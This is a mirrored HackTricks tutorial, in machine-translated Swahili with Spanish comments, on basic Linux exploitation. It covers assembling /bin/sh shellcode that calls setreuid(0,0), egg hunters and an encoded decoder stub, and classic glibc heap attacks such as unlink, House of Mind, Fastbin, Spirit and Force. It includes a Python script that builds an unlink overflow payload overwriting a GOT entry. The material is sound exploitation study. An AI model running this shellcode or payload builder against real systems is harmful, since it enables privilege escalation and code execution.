mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
482 lines
27 KiB
Markdown
482 lines
27 KiB
Markdown
|
# Kudukua Linux (Msingi) (SPA)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Njia nyingine za kusaidia HackTricks:
|
|||
|
|
|||
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|||
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
|||
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## **2.SHELLCODE**
|
|||
|
|
|||
|
Angalia mapumziko ya kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
|||
|
|
|||
|
setreuid(0,0); // \_\_NR\_setreuid 70\
|
|||
|
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
|||
|
exit(0); // \_\_NR\_exit 1
|
|||
|
|
|||
|
xor eax, eax ; safisha eax\
|
|||
|
xor ebx, ebx ; ebx = 0 kwa sababu hakuna hoja ya kupitisha\
|
|||
|
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
|||
|
int 0x80 ; Tekeleza syscall
|
|||
|
|
|||
|
**nasm -f elf assembly.asm** —> Inarudi .o\
|
|||
|
**ld assembly.o -o shellcodeout** —> Inatoa kutekelezeka iliyoundwa na msimbo wa mkusanyiko na tunaweza kutoa opcodes na **objdump**\
|
|||
|
**objdump -d -Mintel ./shellcodeout** —> Ili kuona kwamba kwa kweli ni shellcode yetu na kutoa OpCodes
|
|||
|
|
|||
|
**Thibitisha kwamba shellcode inafanya kazi**
|
|||
|
```
|
|||
|
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
|||
|
|
|||
|
void main(){
|
|||
|
void (*fp) (void);
|
|||
|
fp = (void *)shellcode;
|
|||
|
fp();
|
|||
|
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
|||
|
```
|
|||
|
Ili kuhakikisha kwamba wito wa mfumo unafanyika kwa usahihi, programu inapaswa kuchakatwa na wito wa mfumo unapaswa kuonekana katika **strace ./PROGRAMA\_COMPILADO**
|
|||
|
|
|||
|
Wakati wa kuunda shellcodes, unaweza kutumia hila. Maagizo ya kwanza ni jump kwenda kwenye wito. Wito unaita msimbo wa awali na pia huingiza EIP kwenye stack. Baada ya maagizo ya wito, tumeweka string tunayohitaji, kwa hivyo na EIP hiyo tunaweza kuelekeza kwenye string na kuendelea kutekeleza msimbo.
|
|||
|
|
|||
|
EJ **HILA (/bin/sh)**:
|
|||
|
```
|
|||
|
jmp 0x1f ; Salto al último call
|
|||
|
popl %esi ; Guardamos en ese la dirección al string
|
|||
|
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
|||
|
xorl %eax, %eax ; eax = NULL
|
|||
|
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
|||
|
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
|||
|
movl $0xb, %eax ; Syscall 11
|
|||
|
movl %esi, %ebx ; arg1=“/bin/sh”
|
|||
|
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
|||
|
leal 0xc(%esi), %edx ; arg3 = NULL
|
|||
|
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
|||
|
xorl %ebx, %ebx ; ebx = NULL
|
|||
|
movl %ebx, %eax
|
|||
|
inc %eax ; Syscall 1
|
|||
|
int $0x80 ; exit(0)
|
|||
|
call -0x24 ; Salto a la primera instrución
|
|||
|
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
|||
|
```
|
|||
|
**Kutumia Stack(/bin/sh):**
|
|||
|
```
|
|||
|
section .text
|
|||
|
global _start
|
|||
|
_start:
|
|||
|
xor eax, eax ;Limpieza
|
|||
|
mov al, 0x46 ; Syscall 70
|
|||
|
xor ebx, ebx ; arg1 = 0
|
|||
|
xor ecx, ecx ; arg2 = 0
|
|||
|
int 0x80 ; setreuid(0,0)
|
|||
|
xor eax, eax ; eax = 0
|
|||
|
push eax ; “\0”
|
|||
|
push dword 0x68732f2f ; “//sh”
|
|||
|
push dword 0x6e69622f; “/bin”
|
|||
|
mov ebx, esp ; arg1 = “/bin//sh\0”
|
|||
|
push eax ; Null -> args[1]
|
|||
|
push ebx ; “/bin/sh\0” -> args[0]
|
|||
|
mov ecx, esp ; arg2 = args[]
|
|||
|
mov al, 0x0b ; Syscall 11
|
|||
|
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
|||
|
```
|
|||
|
**EJ FNSTENV:**
|
|||
|
```
|
|||
|
fabs
|
|||
|
fnstenv [esp-0x0c]
|
|||
|
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
|
…
|
|||
|
```
|
|||
|
**Mwindaji wa Yai:**
|
|||
|
|
|||
|
Inajumuisha nambari ndogo inayopitia kurasa za kumbukumbu zinazohusiana na mchakato kutafuta shellcode iliyohifadhiwa hapo (inatafuta saini fulani iliyojumuishwa kwenye shellcode). Inatumika katika hali ambapo kuna nafasi ndogo tu ya kuingiza nambari.
|
|||
|
|
|||
|
**Shellcodes za Polimofiki**
|
|||
|
|
|||
|
Hizi ni shell zilizofichwa ambazo zina nambari ndogo za kuzifichua na kuziruka, zikitumia mbinu ya Call-Pop hii itakuwa **mfano wa kificho kilichofichwa kwa Cesar**:
|
|||
|
```
|
|||
|
global _start
|
|||
|
_start:
|
|||
|
jmp short magic
|
|||
|
init:
|
|||
|
pop esi
|
|||
|
xor ecx, ecx
|
|||
|
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
|||
|
desc:
|
|||
|
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
|||
|
sub cl, 1
|
|||
|
jnz desc
|
|||
|
jmp short sc
|
|||
|
magic:
|
|||
|
call init
|
|||
|
sc:
|
|||
|
;Aquí va el shellcode
|
|||
|
```
|
|||
|
## **5. Mbinu Zingine**
|
|||
|
|
|||
|
###
|
|||
|
|
|||
|
## **8 Kujaza Kwa Heap: Mbinu za Msingi za Udukuzi**
|
|||
|
|
|||
|
**Kipande kilichotengwa**
|
|||
|
|
|||
|
prev\_size |\
|
|||
|
size | —Kichwa\
|
|||
|
\*mem | Data
|
|||
|
|
|||
|
**Kipande huru**
|
|||
|
|
|||
|
prev\_size |\
|
|||
|
size |\
|
|||
|
\*fd | Ptr mbele ya kipande\
|
|||
|
\*bk | Ptr nyuma ya kipande —Kichwa\
|
|||
|
\*mem | Data
|
|||
|
|
|||
|
Vipande huru vipo kwenye orodha iliyofungwa mara mbili (bin) na kamwe haziwezi kuwa na vipande huru viwili pamoja (vinajumuishwa)
|
|||
|
|
|||
|
Katika "size" kuna bits za kuonyesha: Ikiwa kipande kilichotangulia kina matumizi, ikiwa kipande kimepewa kwa kutumia mmap() na ikiwa kipande ni sehemu ya uwanja wa msingi.
|
|||
|
|
|||
|
Kwa kufuta kipande, ikiwa vipande vya jirani vina huru, hivi vinajumuishwa kupitia macro unlink() na kipande kipya kikubwa zaidi kinapitishwa kwa frontlink() ili kiingizwe kwenye bin sahihi.
|
|||
|
|
|||
|
unlink(){\
|
|||
|
BK = P->bk; —> BK ya kipande kipya ni ile iliyokuwa huru awali\
|
|||
|
FD = P->fd; —> FD ya kipande kipya ni ile iliyokuwa huru awali\
|
|||
|
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwenye kipande kipya\
|
|||
|
BK->fd = FD; —> FD ya kipande kilichotangulia inaelekeza kwenye kipande kipya\
|
|||
|
}
|
|||
|
|
|||
|
Hivyo basi, ikiwa tunaweza kubadilisha P->bk na anwani ya shellcode na P->fd na anwani kwa kuingia kwenye GOT au DTORS chini ya 12, tunafanikiwa:
|
|||
|
|
|||
|
BK = P->bk = \&shellcode\
|
|||
|
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
|||
|
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
|||
|
|
|||
|
Na hivyo shellcode itatekelezwa wakati programu inamalizika.
|
|||
|
|
|||
|
Zaidi ya hayo, sentensi ya 4 ya unlink() inaandika kitu na shellcode lazima iboreshwe kwa hili:
|
|||
|
|
|||
|
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Hii husababisha kuandika bytes 4 kutoka kwa byte ya 8 ya shellcode, hivyo maagizo ya kwanza ya shellcode lazima iwe jmp ili kupita hili na kuingia kwenye nops ambazo zitafikisha kwenye sehemu nyingine ya shellcode.
|
|||
|
|
|||
|
Hivyo basi, udanganyifu unajengwa:
|
|||
|
|
|||
|
Kwenye buffer1 tunaweka shellcode ikiwaanza na jmp ili iingie kwenye nops au sehemu nyingine ya shellcode.
|
|||
|
|
|||
|
Baada ya shell code tunaweka kujaza hadi kufikia uga wa prev\_size na size wa kipande kinachofuata. Maeneo haya tunaweka 0xfffffff0 (ili prev\_size ibadilishwe ili iwe na bit inayosema kuwa ni huru) na "-4" (0xfffffffc) kwenye size (ili wakati wa kuchunguza kwenye kipande cha 3 ikiwa kipande cha 2 kilikuwa huru kwa kweli iende kwenye prev\_size iliyobadilishwa itakayosema kuwa ni huru) -> Hivyo wakati free() inachunguza itaenda kwenye size ya 3 lakini kwa kweli itaenda kwenye 2 - 4 na kufikiri kipande cha 2 kiko huru. Na kisha itaita **unlink()**.
|
|||
|
|
|||
|
Kwa kuita unlink() itatumia kama P->fd data za kwanza za kipande cha 2 hivyo anwani itawekwa ambapo unataka kubadilisha - 12 (kwa sababu katika FD->bk itaongeza 12 kwa anwani iliyohifadhiwa kwenye FD). Na kwenye anwani hiyo itaingiza anwani ya pili inayopatikana kwenye kipande cha 2, ambayo itakuwa anwani ya shellcode (P->bk bandia).
|
|||
|
|
|||
|
**from struct import \***
|
|||
|
|
|||
|
**import os**
|
|||
|
|
|||
|
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes ya kujaza**
|
|||
|
|
|||
|
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
|||
|
|
|||
|
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
|||
|
|
|||
|
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
|||
|
|
|||
|
**prev\_size = pack("\<I”, 0xfffffff0) #Inahitajika bit inayoonyesha kuwa kipande kilichotangulia ni huru iwe 1**
|
|||
|
|
|||
|
**fake\_size = pack("\<I”, 0xfffffffc) #-4, ili kufikiri "size" ya kipande cha 3 iko nyuma kwa bytes 4 (inamaanisha prev\_size) kwani hapa ndipo inatazama ikiwa kipande cha 2 kiko huru**
|
|||
|
|
|||
|
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Kwenye mzigo mwanzoni tutaweka 8bytes ya kujaza**
|
|||
|
|
|||
|
**got\_free = pack("\<I", 0x08048300 - 12) #Anwani ya free() kwenye plt-12 (itakuwa anwani itakayobadilishwa ili shellcode iitwe mara ya pili free)**
|
|||
|
|
|||
|
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Kama ilivyosemwa mzigo unaanza na 8 bytes ya kujaza kwa sababu**
|
|||
|
|
|||
|
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Kipande cha 2 kinabadilishwa, got\_free inaelekeza kwenye mahali tutakapohifadhi anwani addr\_sc + 12**
|
|||
|
|
|||
|
**os.system("./8.3.o " + payload)**
|
|||
|
|
|||
|
**unset() ikiondoa kwa mpangilio wa nyuma (mchezo wa vita)**
|
|||
|
|
|||
|
Tunadhibiti vipande 3 vya mfululizo na vinatolewa kwa mpangilio wa nyuma wa kile kilichoreswa.
|
|||
|
|
|||
|
Katika kesi hiyo:
|
|||
|
|
|||
|
Kwenye kipande c tunaweka shellcode
|
|||
|
|
|||
|
Kipande a tunakitumia kubadilisha b ili size iwe na bit PREV\_INUSE iliyozimwa ili iweze kufikiri kipande a kiko huru.
|
|||
|
|
|||
|
Zaidi ya hayo, tunabadilisha kichwa cha b ili size iwe -4.
|
|||
|
|
|||
|
Kwa hivyo, programu itafikiri "a" iko huru na kwenye bin, hivyo itaita unlink() kuiondoa. Hata hivyo, kwa kuwa kichwa PREV\_SIZE ni -4. Itafikiri kwamba kipande cha "a" kwa kweli kinaanza kwenye b+4. Yaani, itafanya unlink() kwa kipande kinachoanza kwenye b+4, hivyo kwenye b+12 kutakuwa na pointer "fd" na kwenye b+16 kutakuwa na pointer "bk".
|
|||
|
|
|||
|
Kwa njia hii, tukiweka anwani ya shellcode kwenye bk na tukiweka anwani ya kazi "puts()" -12 kwenye fd tunapata payload yetu.
|
|||
|
|
|||
|
**Mbinu ya Frontlink**
|
|||
|
|
|||
|
Frontlink inaitwa wakati kitu kinapotolewa na hakuna vipande vyake vya jirani vilivyo huru, unlink() haitelewi bali frontlink() inaitwa moja kwa moja.
|
|||
|
|
|||
|
Udhaifu ni muhimu wakati malloc inayoshambuliwa haijawahi kufutwa (free()).
|
|||
|
|
|||
|
Inahitaji:
|
|||
|
|
|||
|
Buffer ambalo linaweza kufurika na kazi ya kuingiza data
|
|||
|
|
|||
|
Buffer unaoendelea na huu unapaswa kuachiliwa na kichwa chake kubadilishwa kwa kutumia kujaza kutoka kwa buffer uliotangulia
|
|||
|
|
|||
|
Buffer la kuachiliwa lenye ukubwa zaidi ya 512 lakini chini ya buffer uliotangulia
|
|||
|
|
|||
|
Buffer uliotangulia kabla ya hatua 3 ambao unaruhusu kubadilisha prev\_size yake
|
|||
|
|
|||
|
Kwa njia hii, kwa kufanikiwa kuchora kwenye mallocs mbili kwa njia isiyo na udhibiti na moja kwa njia ya udhibiti lakini inayotolewa ni moja tu, tunaweza kufanya udanganyifu.
|
|||
|
|
|||
|
**Udhaifu wa double free()**
|
|||
|
|
|||
|
Ikiwa free() inaitwa mara mbili na pointer sawa, kuna bins mbili zinazoashiria anwani ile ile.
|
|||
|
|
|||
|
Ikiwa unataka kutumia moja tena, itapewa bila shida. Ikiwa unataka kutumia nyingine, itapewa nafasi ile ile hivyo tutakuwa na pointers "fd" na "bk" zilizodanganywa na data itakayowekwa na akiba ya awali.
|
|||
|
|
|||
|
**Baada ya free()**
|
|||
|
|
|||
|
Pointer iliyotolewa awali inatumika tena bila udhibiti.
|
|||
|
## **8 Mwambukizi wa Heap: Mbinu za Udukuzi za Juu**
|
|||
|
|
|||
|
Mbinu za Unlink() na FrontLink() ziliondolewa kwa kubadilisha kazi ya unlink().
|
|||
|
|
|||
|
**The house of mind**
|
|||
|
|
|||
|
Wito wa pekee wa free() unahitajika kusababisha utekelezaji wa nambari ya kiholela. Ni muhimu kutafuta kipande cha pili ambacho kinaweza kufurika na kipande cha awali na kuachiliwa.
|
|||
|
|
|||
|
Wito wa free() husababisha wito wa public\_fREe(mem), hii inafanya:
|
|||
|
|
|||
|
mstate ar\_ptr;
|
|||
|
|
|||
|
mchunkptr p;
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
p = mem2chunk(mes); —> Inarudisha kipande cha kipande cha kuanzia (mem-8)
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
\_int\_free(ar\_ptr, mem);
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
Katika \[1] inathibitisha uwanja wa ukubwa wa biti NON\_MAIN\_ARENA, ambayo inaweza kubadilishwa ili uhakiki irudishe kweli na kutekeleza heap\_for\_ptr() ambayo inafanya "mem" kuwa 0, kuacha 2.5 byte zisizo muhimu (katika kesi yetu ya 0x0804a000 inaacha 0x08000000) na kufikia 0x08000000->ar\_ptr (kana kwamba ni muundo wa heap\_info)
|
|||
|
|
|||
|
Kwa njia hii, ikiwa tunaweza kudhibiti kipande kwa mfano kwa 0x0804a000 na kipande kitafutwa katika **0x081002a0** tunaweza kufikia anwani 0x08100000 na kuandika chochote tunachotaka, kwa mfano **0x0804a000**. Wakati kipande cha pili kitakapofutwa, itagundua kwamba heap\_for\_ptr(ptr)->ar\_ptr inarudisha kile tulichoandika katika 0x08100000 (kwa sababu inatumia 0x081002a0 na operesheni tuliyoyaona hapo awali na kutoka hapo inachukua thamani ya byte 4 za kwanza, ar\_ptr)
|
|||
|
|
|||
|
Kwa njia hii wito wa \_int\_free(ar\_ptr, mem) unaitwa, yaani, **\_int\_free(0x0804a000, 0x081002a0)**\
|
|||
|
**\_int\_free(mstate av, Void\_t\* mem){**\
|
|||
|
…\
|
|||
|
bck = unsorted\_chunks(av);\
|
|||
|
fwd = bck->fd;\
|
|||
|
p->bk = bck;\
|
|||
|
p->fd = fwd;\
|
|||
|
bck->fd = p;\
|
|||
|
fwd->bk = p;
|
|||
|
|
|||
|
..}
|
|||
|
|
|||
|
Kama tulivyoona hapo awali tunaweza kudhibiti thamani ya av, kwa hivyo ndio tunachoandika kwenye kipande kitakachofutwa.
|
|||
|
|
|||
|
Kama ilivyoelezwa unsorted\_chunks, tunajua kwamba:\
|
|||
|
bck = \&av->bins\[2]-8;\
|
|||
|
fwd = bck->fd = \*(av->bins\[2]);\
|
|||
|
fwd->bk = \*(av->bins\[2] + 12) = p;
|
|||
|
|
|||
|
Kwa hivyo ikiwa tunaweka thamani ya \_\_DTOR\_END\_\_-12 kwenye av->bins\[2\] katika maagizo ya mwisho itaandikwa kwenye \_\_DTOR\_END\_\_ anwani ya kipande cha pili.
|
|||
|
|
|||
|
Yaani, katika kipande cha kwanza tunapaswa kuweka anwani ya \_\_DTOR\_END\_\_-12 mara nyingi mwanzoni kwa sababu ndio av->bins\[2\] itakayochukua.
|
|||
|
|
|||
|
Katika anwani ambayo anwani ya kipande cha pili itaanguka na sifuri za mwisho tano, tunapaswa kuandika anwani ya kipande cha kwanza ili heap\_for\_ptr() iweze kufikiria kwamba ar\_ptr iko mwanzoni mwa kipande cha kwanza na kuchukua av->bins\[2\]
|
|||
|
|
|||
|
Katika kipande cha pili na kwa msaada wa kwanza tunaweza kubadilisha prev\_size na kuruka 0x0c na ukubwa na kitu cha kuamsha -> NON\_MAIN\_ARENA
|
|||
|
|
|||
|
Kisha katika kipande cha pili tunaweka nops nyingi na mwishowe shellcode
|
|||
|
|
|||
|
Kwa njia hii wito wa \_int\_free(TROZO1, TROZO2) utaitwa na kufuata maagizo ya kuandika kwenye \_\_DTOR\_END\_\_ anwani ya prev\_size ya TROZO2 ambayo itaruka kwenye shellcode.
|
|||
|
|
|||
|
Kuomba mbinu hii, kuna mahitaji kadhaa ambayo yanafanya mzigo wa payload kuwa mgumu kidogo.
|
|||
|
|
|||
|
Mbinu hii sio inayoweza kutumika tena kwa sababu ilipata karibu na patch sawa na unlink. Inalinganisha ikiwa tovuti mpya inayolengwa pia inalengwa.
|
|||
|
|
|||
|
**Fastbin**
|
|||
|
|
|||
|
Ni toleo la The house of mind
|
|||
|
|
|||
|
tunataka kutekeleza nambari ifuatayo ambayo inafikiwa baada ya ukaguzi wa kwanza wa kazi ya \_int\_free()
|
|||
|
|
|||
|
fb = &(av->fastbins\[fastbin\_index(size)] —> Ikiwa fastbin\_index(sz) —> (sz >> 3) - 2
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
p->fd = \*fb
|
|||
|
|
|||
|
\*fb = p
|
|||
|
|
|||
|
Kwa njia hii ikiwekwa kwenye "fb" inatoa anwani ya kazi katika GOT, kwenye anwani hii itawekwa anwani ya kipande kilichobadilishwa. Kwa hili itahitajika uwanja uwe karibu na anwani za dtors. Hasa av->max\_fast iko kwenye anwani ambayo tutaiandika.
|
|||
|
|
|||
|
Kwa kuwa na The House of Mind tuliona kwamba sisi tunadhibiti nafasi ya av.
|
|||
|
|
|||
|
Kwa hivyo ikiwa tunaweka ukubwa wa 8 + NON\_MAIN\_ARENA + PREV\_INUSE kwenye uwanja wa ukubwa —> fastbin\_index() itatupa fastbins\[-1\], ambayo itaashiria av->max\_fast
|
|||
|
|
|||
|
Katika kesi hii av->max\_fast itakuwa anwani itakayoandikwa (sio anwani itakayolengwa, lakini nafasi hiyo itaandikwa).
|
|||
|
|
|||
|
Pia lazima iwe kwamba kipande kinachopakana na kilichofutwa lazima kiwe kikubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa kipande kilichofutwa ni 8, katika kipande hiki bandia tunahitaji kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea shellcode itakuwa kwenye kipande kilichofutwa, itabidi kuweka mwanzoni mwa jmp ambayo itaanguka kwenye nops).
|
|||
|
|
|||
|
Zaidi ya hayo, kipande hicho bandia lazima kiwe kidogo kuliko av->system\_mem. av->system\_mem iko 1848 byte zaidi.
|
|||
|
|
|||
|
Kwa sababu ya nulls za \_DTOR\_END\_ na anwani chache katika GOT, hakuna anwani kutoka sehemu hizi zinazofaa kuandikwa, kwa hivyo tuone jinsi ya kutumia fastbin kushambulia safu.
|
|||
|
|
|||
|
Njia nyingine ya shambulio ni kuelekeza **av** kuelekea safu.
|
|||
|
|
|||
|
Ikiwa tunabadilisha ukubwa ili iwe 16 badala ya 8 basi: fastbin\_index() itatupa fastbins\[0\] na tunaweza kutumia hii kuandika safu.
|
|||
|
|
|||
|
Kwa hili hapaswi kuwa na canary yoyote au thamani za ajabu kwenye safu, kwa kweli tunapaswa kuwa katika hali hii: 4bytes za null + EBP + RET
|
|||
|
|
|||
|
4 bytes za null zinahitajika ili **av** iwe kwenye anwani hii na kipengee cha kwanza cha **av** ni mutex ambayo lazima iwe 0.
|
|||
|
|
|||
|
**av->max\_fast** itakuwa EBP na itakuwa thamani itakayotusaidia kuruka vikwazo.
|
|||
|
|
|||
|
Katika **av->fastbins\[0\]** itaandikwa na anwani ya **p** na itakuwa RET, hivyo itaruka kwenye shellcode.
|
|||
|
|
|||
|
Zaidi ya hayo, katika **av->system\_mem** (1484bytes juu ya nafasi kwenye safu) kutakuwa na takataka nyingi ambazo zitaruhusu kutupita ukaguzi uliofanywa.
|
|||
|
|
|||
|
Pia lazima iwe kwamba kipande kinachopakana na kilichofutwa lazima kiwe kikubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa kipande kilichofutwa ni 16, katika kipande hiki bandia tunahitaji kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea shellcode itakuwa kwenye kipande kilichofutwa, itabidi kuweka mwanzoni mwa jmp ambayo itaanguka kwenye nops zilizo baada ya uga wa ukubwa wa kipande kipya bandia).
|
|||
|
|
|||
|
**The House of Spirit**
|
|||
|
|
|||
|
Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, pointer iko kwenye stack chini ya kipeperushi cha kipekee kwa kipengee).
|
|||
|
|
|||
|
Hivyo, tunaweza kufanya pointer huu uende popote. Walakini, sio kila eneo ni sahihi, ukubwa wa kipande bandia lazima uwe mdogo kuliko av->max\_fast na hasa sawa na ukubwa ulioombwa katika wito wa baadaye wa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer huu wa udhaifu kuna wito wa malloc(40), ukubwa wa kipande bandia lazima uwe sawa na 48.
|
|||
|
Kwa mfano, ikiwa programu itamuuliza mtumiaji nambari, tunaweza kuingiza 48 na kuelekeza pointer ya malloc inayoweza kubadilishwa kwa byte 4 inayofuata (ambayo inaweza kuwa sehemu ya EBP kwa bahati nzuri, hivyo 48 inabaki nyuma, kana kwamba ni kichwa cha ukubwa). Aidha, anwani ptr-4+48 lazima izingatie masharti kadhaa (katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system\_mem.
|
|||
|
|
|||
|
Ikiwa hii itatimizwa, wakati malloc inayofuata ambayo tulisema ilikuwa malloc(40) itaitwa, itapewa anwani ya EBP. Ikiwa mkaidi pia anaweza kudhibiti kile kinachoandikwa kwenye malloc hii, anaweza kusajili EBP na EIP na anwani anayotaka.
|
|||
|
|
|||
|
Nadhani hii ni kwa sababu wakati free() inafuta, itahifadhi kwamba kuna kipande cha ukubwa kamili kwa malloc() mpya inayotaka kuhifadhiwa kwenye anwani inayoashiria EBP ya stack, hivyo inampa anwani hiyo.
|
|||
|
|
|||
|
**Nyumba ya Nguvu**
|
|||
|
|
|||
|
Inahitajika:
|
|||
|
|
|||
|
* Kujaza kwa kipande ambacho inaruhusu kusajili wilderness
|
|||
|
* Wito kwa malloc() na ukubwa uliowekwa na mtumiaji
|
|||
|
* Wito kwa malloc() ambayo data yake inaweza kuwa iliyowekwa na mtumiaji
|
|||
|
|
|||
|
Jambo la kwanza linalofanyika ni kusajili ukubwa wa kipande cha wilderness na thamani kubwa sana (0xffffffff), hivyo ombi lolote la kumbukumbu kubwa litashughulikiwa katika \_int\_malloc() bila haja ya kupanua heap
|
|||
|
|
|||
|
Jambo la pili ni kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mkaidi, kama stack. Av->top itawekwa \&EIP - 8.
|
|||
|
|
|||
|
Tunahitaji kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mkaidi:
|
|||
|
|
|||
|
mwathirika = av->top;
|
|||
|
|
|||
|
mabaki = chunck\_at\_offset(mwathirika, nb);
|
|||
|
|
|||
|
av->top = mabaki;
|
|||
|
|
|||
|
Mwathirika hukusanya thamani ya anwani ya kipande cha wilderness cha sasa (av->top ya sasa) na mabaki ni hasa jumla ya anwani hiyo plus idadi ya byte inayotakiwa na malloc(). Kwa hivyo, ikiwa \&EIP-8 iko kwenye 0xbffff224 na av->top ina 0x080c2788, basi idadi ya byte inayopaswa kuhifadhiwa kwenye malloc iliyodhibitiwa ili av->top ielekee $EIP-8 kwa malloc() inayofuata itakuwa:
|
|||
|
|
|||
|
0xbffff224 - 0x080c2788 = 3086207644.
|
|||
|
|
|||
|
Hivyo thamani iliyobadilishwa itahifadhiwa kwenye av->top na malloc inayofuata itaelekeza kwa EIP na inaweza kusajili.
|
|||
|
|
|||
|
Ni muhimu kujua kwamba ukubwa wa kipande kipya cha wilderness ni kubwa kuliko ombi lililofanywa na malloc la mwisho. Yaani, ikiwa wilderness inaelekeza kwa \&EIP-8, ukubwa utabaki moja kwa moja kwenye uga wa EBP wa stack.
|
|||
|
|
|||
|
**Nyumba ya Hadithi**
|
|||
|
|
|||
|
**Uharibifu wa SmallBin**
|
|||
|
|
|||
|
Vipande vilivyosajiliwa huingizwa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kuingizwa, hufungwa kwenye bins zisizopangwa. Kipande kilichosajiliwa hakiingizwi moja kwa moja kwenye bin yake bali kinabaki kwenye bins zisizopangwa. Kisha, ikiwa kipande kipya kinahitajika na kipande kilichosajiliwa kinaweza kutumika, kinarejeshwa, lakini ikiwa kipande kikubwa kinahitajika, kipande kilichosajiliwa kwenye bins zisizopangwa kinawekwa kwenye bin yake sahihi.
|
|||
|
|
|||
|
Ili kufikia kanuni ya udhaifu, ombi la kumbukumbu linapaswa kuwa kubwa kuliko av->max\_fast (kawaida 72) na chini ya MIN\_LARGE\_SIZE (512).
|
|||
|
|
|||
|
Ikiwa kuna kipande kwenye bin lenye ukubwa unaofaa kwa ombi, kipande hicho kitarejeshwa baada ya kufunguliwa:
|
|||
|
|
|||
|
bck = mwathirika->bk; Inaelekeza kwenye kipande kilichotangulia, hii ndiyo habari pekee tunayoweza kubadilisha.
|
|||
|
|
|||
|
bin->bk = bck; Kipande cha pili cha mwisho kinakuwa cha mwisho, ikiwa bck inaelekeza kwenye stack kwa kipande kinachofuata kinachofunguliwa, itapewa anwani hii
|
|||
|
|
|||
|
bck->fd = bin; Orodha inafungwa kwa kufanya hii ielekee kwa bin
|
|||
|
|
|||
|
Inahitajika:
|
|||
|
|
|||
|
Kusajili malloc mbili, ili ya kwanza iweze kujazwa baada ya ya pili kufunguliwa na kuingizwa kwenye bin yake (yaani, malloc kubwa zaidi kuliko kipande cha pili kabla ya kufanya kujaza)
|
|||
|
|
|||
|
Kipande cha malloc kilichosajiliwa ambacho anwani yake inachaguliwa na mkaidi inadhibitiwa na mkaidi.
|
|||
|
|
|||
|
